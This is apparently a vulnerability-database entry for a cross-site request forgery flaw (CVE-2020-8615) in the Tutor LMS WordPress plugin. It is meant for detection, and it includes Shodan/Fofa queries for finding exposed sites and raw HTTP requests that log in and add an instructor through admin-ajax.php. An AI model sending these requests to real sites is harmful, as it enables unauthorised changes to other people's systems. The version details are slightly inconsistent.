🔙 목록으로 돌아가기

CVE-2020-8615: Wordpress Plugin Tutor LMS 1.5.3 - Cross-Site Request Forgery

TitleWordpress Plugin Tutor LMS 1.5.3 - Cross-Site Request Forgery
Authorr3Y3r53
SeverityMedium
ImpactAttackers can exploit CSRF to approve themselves as instructors or block legitimate instructors, potentially disrupting the learning management system.
Remediationupdate to v.1.5.3
CVSS Score6.5
EPSS Score0.06895
CVE IDCVE-2020-8615
CWE IDCWE-352
Shodan Queryhttp.html:/wp-content/plugins/tutor/
Fofa Querybody=/wp-content/plugins/tutor/
Tags cve cve2020 wpscan packetstorm csrf wp-plugin wp tutor wordpress themeum vuln

🔍 Vulnerability Description

A CSRF vulnerability in the Tutor LMS plugin before 1.5.3 for WordPress can result in an attacker approving themselves as an instructor and performing other malicious actions (such as blocking legitimate instructors).

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.1.17 (KHTML, like Gecko) Version/7.1 Safari/537.85.10
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=BeiP3O&pwd=DC4p5z&wp-submit=Log+In
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Connection: close
Content-Length: 237
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

action=add_new_instructor&first_name=aa5EI&last_name=vyR6z&user_login=IWdtkO&email=toTJrw@ObcRU.com&phone_number=1231231231&password=SWBy0iwv&password_confirmation=SWBy0iwv&tutor_profile_bio=Et+tempore+culpa+n&action=tutor_add_instructor

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-8615.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-8615.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A